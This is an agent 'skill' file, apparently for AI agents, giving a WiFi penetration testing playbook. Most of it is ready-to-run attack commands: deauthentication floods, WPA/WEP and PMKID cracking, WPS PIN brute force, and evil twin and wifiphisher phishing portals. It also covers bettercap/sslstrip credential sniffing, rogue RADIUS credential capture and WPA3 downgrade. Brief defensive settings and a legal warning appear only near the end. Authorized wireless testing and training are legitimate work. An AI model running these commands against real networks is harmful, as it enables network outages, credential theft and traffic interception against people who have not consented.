Imported from reason-machines/security-skills (skills/wireless-security-wifi-pentest/SKILL.md). Install upstream with npx skills add reason-machines/security-skills --skill wireless-security-wifi-pentest. Copyright stays with the author.

Wireless Security & WiFi Penetration Testing

Skill by ara.so — Security Skills collection.

Expert-level wireless security penetration testing using aircrack-ng suite, handshake capture, WEP/WPA/WPA2/WPA3 cracking, rogue AP deployment, and 802.11 exploitation techniques. This skill covers reconnaissance, attack execution, and defensive mitigation for wireless networks.

What This Skill Covers

• 802.11 fundamentals: Frame types, encryption protocols (WEP, WPA, WPA2, WPA3), authentication mechanisms
• Adapter configuration: Monitor mode setup, packet injection testing, chipset compatibility
• Reconnaissance: Network discovery, hidden SSID enumeration, client enumeration, traffic analysis
• WEP attacks: IVS capture, PTW attack, fragmentation, Chop-Chop, Caffe Latte
• WPA/WPA2 attacks: Handshake capture, deauthentication, PMKID extraction, dictionary/GPU cracking
• WPA3 exploitation: Downgrade attacks, Dragonblood vulnerabilities
• Rogue AP attacks: Evil twin deployment, captive portals, wireless MITM
• Enterprise WPA: EAP/RADIUS assessment, certificate validation bypass
• Detection & defense: WIDS configuration, management frame protection, hardening recommendations

Prerequisites

Hardware Requirements

• Injection-capable wireless adapter (Atheros AR9271 or Ralink RT3070/RT5372 chipset)
  • TP-Link TL-WN722N v1 (Atheros AR9271) ✅
  • Alfa AWUS036NHA (Atheros AR9271) ✅
  • Panda PAU05 (Ralink RT5372) ✅
  • Avoid: TL-WN722N v2/v3 (Realtek, no injection support)
• Test access point you own and control
• Client device for handshake generation
• Kali Linux (bare-metal or VM with USB passthrough)

Software Stack

# Verify Kali includes core tools (pre-installed)
which aircrack-ng airodump-ng aireplay-ng airbase-ng

# Install additional tools
sudo apt update
sudo apt install -y \
  hashcat hcxdumptool hcxtools \
  reaver bully wash \
  hostapd dnsmasq \
  kismet wireshark-qt \
  bettercap wifiphisher

Adapter Setup & Monitor Mode

Identify Wireless Interface

# List wireless interfaces
iwconfig
ip link show

# Check interface details
iw dev

# Verify chipset (Atheros/Ralink preferred)
lsusb
lspci | grep -i wireless

Enable Monitor Mode

# Method 1: Using airmon-ng (recommended)
sudo airmon-ng check kill  # Kill interfering processes
sudo airmon-ng start wlan0  # Creates wlan0mon

# Method 2: Manual setup
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Verify monitor mode
iwconfig wlan0mon  # Should show "Mode:Monitor"

Test Packet Injection

# Critical test before attacks
sudo aireplay-ng --test wlan0mon

# Expected output:
# Injection is working!
# Found X APs
# Trying broadcast probe requests...
# Injection is working!

# Test against specific AP
sudo aireplay-ng --test -a 00:11:22:33:44:55 wlan0mon

Set Regulatory Domain & Channel

# Check current regulatory domain
iw reg get

# Set domain (affects power/channels)
sudo iw reg set US  # or GB, DE, etc.

# Set specific channel
sudo iw dev wlan0mon set channel 6

# Set frequency (alternative)
sudo iw dev wlan0mon set freq 2437  # Channel 6 = 2437 MHz

Reconnaissance & Network Discovery

Basic Network Scan

# Scan all channels, all encryption types
sudo airodump-ng wlan0mon

# Scan specific channel
sudo airodump-ng -c 6 wlan0mon

# Scan specific band
sudo airodump-ng --band a wlan0mon  # 5 GHz only
sudo airodump-ng --band bg wlan0mon  # 2.4 GHz only

# Save to file
sudo airodump-ng -w scan_output --output-format pcap,csv wlan0mon

Target Specific Network

# Focus on single BSSID
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w target wlan0mon

# Show only clients (stations)
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 --showack wlan0mon

Hidden SSID Discovery

# Passive: Wait for client probe/association
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon

# Active: Deauth client to force reassociation (reveals SSID)
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 wlan0mon

Client Enumeration with Kismet

# Start Kismet server
sudo kismet -c wlan0mon

# Web UI: http://localhost:2501
# First run: create admin user

# CLI query connected clients
kismet_client --list-clients --server localhost:2501

WPA/WPA2 Handshake Capture

Capture 4-Way Handshake

# Terminal 1: Start capture on target channel
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

# Terminal 2: Deauth client to force reauthentication
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
# -a = AP BSSID
# -c = Client MAC (optional, omit to deauth all clients)
# 10 = number of deauth packets

# Look for "WPA handshake: 00:11:22:33:44:55" in airodump-ng output

Verify Handshake Capture

# Check for valid handshake in capture file
sudo aircrack-ng capture-01.cap

# Output should show:
# 1 handshake

# Alternative verification with tshark
tshark -r capture-01.cap -Y "eapol" | grep -i handshake

Convert Handshake for Hashcat

# Extract handshake to hashcat format
sudo aircrack-ng -J output capture-01.cap
# Creates output.hccapx (hashcat 3.6+)

# Modern method with hcxpcapngtool (hashcat 6.0+)
hcxpcapngtool -o output.22000 capture-01.cap
# Creates output.22000 (WPA*01/02 hash format)

PMKID Attack (Clientless WPA/WPA2)

Capture PMKID

# Modern method with hcxdumptool (no deauth needed)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

# Let run for 2-5 minutes, Ctrl+C to stop

# Convert to hashcat format
hcxpcapngtool -o pmkid.22000 pmkid.pcapng

# Verify PMKID present
grep -c "22000" pmkid.22000

WPA/WPA2 Cracking

Dictionary Attack with Aircrack-ng

# Crack using wordlist
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Specify BSSID if multiple networks in capture
sudo aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture-01.cap

# Show cracking progress
# KEY FOUND! [ password123 ]

GPU Cracking with Hashcat

# WPA/WPA2 handshake (mode 22000)
hashcat -m 22000 -a 0 output.22000 /usr/share/wordlists/rockyou.txt

# PMKID (mode 22000)
hashcat -m 22000 pmkid.22000 wordlist.txt

# With rules for mutations
hashcat -m 22000 -a 0 output.22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Mask attack (brute-force patterns)
hashcat -m 22000 -a 3 output.22000 ?d?d?d?d?d?d?d?d
# ?d = digit, ?l = lowercase, ?u = uppercase, ?s = special

# Show cracked passwords
hashcat -m 22000 output.22000 --show

Precomputed Rainbow Tables (Cowpatty)

# Generate rainbow table for SSID
genpmk -f wordlist.txt -d pmk_database.db -s "TargetSSID"

# Crack using precomputed table (instant if password in table)
cowpatty -d pmk_database.db -r capture-01.cap -s "TargetSSID"

WEP Cracking

Passive IVS Collection (PTW Attack)

# Capture IVs on busy network
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_capture wlan0mon

# Wait for 40,000+ IVs (Data column in airodump)
# Then crack:
sudo aircrack-ng wep_capture-01.cap

# KEY FOUND! [ XX:XX:XX:XX:XX ] (ASCII: "wepkey")

Active ARP Replay Attack

# Terminal 1: Capture
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_arp wlan0mon

# Terminal 2: Fake authentication
sudo aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Terminal 3: Wait for ARP packet, then replay
sudo aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# IVs accumulate rapidly (1000+/sec)
# Once 40K+ IVs collected, crack as above

Fragmentation Attack (No Clients)

# Fake auth
sudo aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Obtain keystream with fragmentation
sudo aireplay-ng --fragment -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

# Use keystream to forge ARP packet
sudo packetforge-ng --arp -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF -k 192.168.1.1 -l 192.168.1.2 -y fragment-*.xor -w arp_packet

# Inject forged packet
sudo aireplay-ng --interactive -r arp_packet wlan0mon

Deauthentication & DoS Attacks

Deauth Single Client

# Targeted deauth
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
# 0 = infinite deauth packets (Ctrl+C to stop)

Deauth All Clients (Network DoS)

# Broadcast deauth (affects all clients)
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon

# With reason code
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 --reason 7 wlan0mon

MDK4 Beacon Flood

# Flood with fake APs (WLAN DoS)
sudo mdk4 wlan0mon b -a -m

# Deauth flood
sudo mdk4 wlan0mon d -b /path/to/blacklist.txt

Evil Twin & Rogue AP Attacks

Basic Evil Twin with Hostapd

# Create hostapd config
cat > evil_twin.conf << EOF
interface=wlan0
driver=nl80211
ssid=TargetSSID
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

# Start evil twin AP
sudo hostapd evil_twin.conf

# In another terminal, assign IP and run DHCP
sudo ip addr add 192.168.1.1/24 dev wlan0
sudo dnsmasq -C /dev/null -kd -F 192.168.1.10,192.168.1.100 -i wlan0 --bind-dynamic

Wifiphisher Automated Evil Twin

# Automatic evil twin + phishing portal
sudo wifiphisher -aI wlan0mon -eI eth0 -p firmware-upgrade

# Common phishing scenarios:
# -p firmware-upgrade
# -p oauth-login
# -p browser-plugin-update

Capture Credentials with Bettercap

# Start bettercap
sudo bettercap -iface wlan0

# In bettercap console:
> set wifi.interface wlan0mon
> wifi.recon on
> wifi.ap.ssid "TargetSSID"
> wifi.ap.bssid 00:11:22:33:44:55
> wifi.ap.channel 6
> set http.proxy.sslstrip true
> set net.sniff.verbose true
> http.proxy on
> net.sniff on

# Captures credentials, cookies, traffic

WPS Attacks

WPS PIN Brute Force with Reaver

# Check WPS enabled
sudo wash -i wlan0mon

# Reaver attack
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

# With delay to avoid rate limiting
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -d 5 -T 0.5 -N

# Pixie Dust attack (offline, fast)
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -K

Bully WPS Attack

# Standard attack
sudo bully wlan0mon -b 00:11:22:33:44:55 -c 6

# Pixie Dust
sudo bully wlan0mon -b 00:11:22:33:44:55 -d -v 3

Enterprise WPA (EAP/RADIUS) Assessment

Enumerate EAP Methods

# Use eapmd5pass or EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./eaphammer --certs --eap-spray

# Identify EAP type in captured traffic
tshark -r capture.pcap -Y "eap" -T fields -e eap.type | sort -u

Certificate Validation Bypass

# Rogue RADIUS with EAPHammer
sudo ./eaphammer \
  --interface wlan0 \
  --essid "EnterpriseSSID" \
  --creds \
  --auth wpa-eap

# Captures credentials when clients ignore cert warnings

WPA3 & Advanced Attacks

WPA3 Downgrade Attack

# Force WPA3 AP to WPA2 transition mode
sudo mdk4 wlan0mon d -a 00:11:22:33:44:55

# Or use hostapd-wpe with transition mode disabled

Dragonblood (CVE-2019-13377)

# Test for Dragonblood vulnerability
git clone https://github.com/vanhoefm/dragonslayer.git
cd dragonslayer
./dragonslayer.py --test wlan0mon --bssid 00:11:22:33:44:55

Traffic Analysis & MITM

Capture & Decrypt WPA Traffic

# Capture traffic
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w traffic wlan0mon

# After obtaining PSK, decrypt in Wireshark:
# Edit → Preferences → Protocols → IEEE 802.11
# Enable decryption, add key:
# wpa-pwd:password123:SSID

SSL Strip & Traffic Sniffing

# Route traffic through attacker (on rogue AP)
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# SSL strip with sslstrip
sudo sslstrip -l 8080
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# View captured credentials
tail -f /var/log/sslstrip.log

Detection & Defense

Management Frame Protection (802.11w)

# Enable in hostapd.conf
ieee80211w=2  # Required
# Protects against deauth/disassociation attacks

Wireless IDS with Kismet

# Configure alerts in kismet.conf
alert=DEAUTHFLOOD,5/min,Deauthentication DoS
alert=DISCONFLOOD,5/min,Disassociation DoS
alert=BSSTIMESTAMP,10/min,Evil Twin Detected

# Monitor for rogue APs
sudo kismet -c wlan0mon --daemonize

Common Workflows

Full WPA2 Crack Workflow

# 1. Monitor mode
sudo airmon-ng start wlan0

# 2. Scan for targets
sudo airodump-ng wlan0mon
# Note BSSID, channel, ESSID

# 3. Capture handshake
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon &
sleep 5
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon

# 4. Verify handshake
sudo aircrack-ng capture-01.cap

# 5. Crack
hashcat -m 22000 -a 0 capture.22000 /usr/share/wordlists/rockyou.txt

# 6. Cleanup
sudo airmon-ng stop wlan0mon

Evil Twin Credential Harvest

# 1. Deauth clients from real AP
sudo aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon &

# 2. Start evil twin with same SSID
sudo wifiphisher -aI wlan0mon -eI eth0 -p oauth-login

# 3. Monitor for captured credentials
# Wifiphisher displays creds in real-time

# 4. Stop attack
# Ctrl+C, review logs in /root/.wifiphisher/

Troubleshooting

"Injection Failed" Errors

# 1. Kill interfering processes
sudo airmon-ng check kill

# 2. Reset adapter
sudo ip link set wlan0 down
sudo ip link set wlan0 up
sudo airmon-ng start wlan0

# 3. Verify injection again
sudo aireplay-ng --test wlan0mon

No Handshake Captured

# Ensure client is connected
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 wlan0mon
# Check STATION column for active clients

# Increase deauth count
sudo aireplay-ng --deauth 50 -a 00:11:22:33:44:55 wlan0mon

# Try PMKID attack instead (no clients needed)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

Hashcat Not Using GPU

# Check GPU detected
hashcat -I

# Install NVIDIA drivers (if needed)
sudo apt install -y nvidia-driver nvidia-cuda-toolkit

# AMD ROCm for AMD GPUs
sudo apt install -y rocm-opencl-runtime

# Force GPU device
hashcat -m 22000 -D 2 hash.22000 wordlist.txt
# -D 1 = CPU, -D 2 = GPU

"Channel -1" Error

# Explicitly set channel before starting airodump
sudo iw dev wlan0mon set channel 6

# Or in airodump command
sudo airodump-ng -c 6 wlan0mon

Legal & Ethical Considerations

⚠️ WARNING: All techniques in this skill are for authorized testing only.

• Test only networks you own or have explicit written permission to assess
• Wireless attacks (deauth, jamming, rogue APs) are illegal under:
  • US: Computer Fraud & Abuse Act (CFAA), FCC regulations
  • EU: GDPR, national cybercrime laws
  • UK: Computer Misuse Act
• Practice in isolated RF lab with controlled equipment
• Use proper engagement documentation (scope, authorization, ROE)
• Report vulnerabilities responsibly following coordinated disclosure

Additional Resources

• OffSec OSWP: https://www.offensive-security.com/wifu-oswp/
• aircrack-ng documentation: https://www.aircrack-ng.org/documentation.html
• Hashcat wiki: https://hashcat.net/wiki/
• Wireless Arsenal: https://github.com/0x90/wifi-arsenal
• OWASP Wireless Testing Guide: https://owasp.org/www-project-mobile-top-10/

Environment Variables Used:

• None (all commands use direct system paths or user-provided wordlists)

Key Files:

• /usr/share/wordlists/rockyou.txt - Default Kali wordlist
• /usr/share/hashcat/rules/ - Hashcat rule sets
• capture-01.cap - Airodump capture files (user-generated)
• *.22000 - Hashcat WPA hash format (user-generated)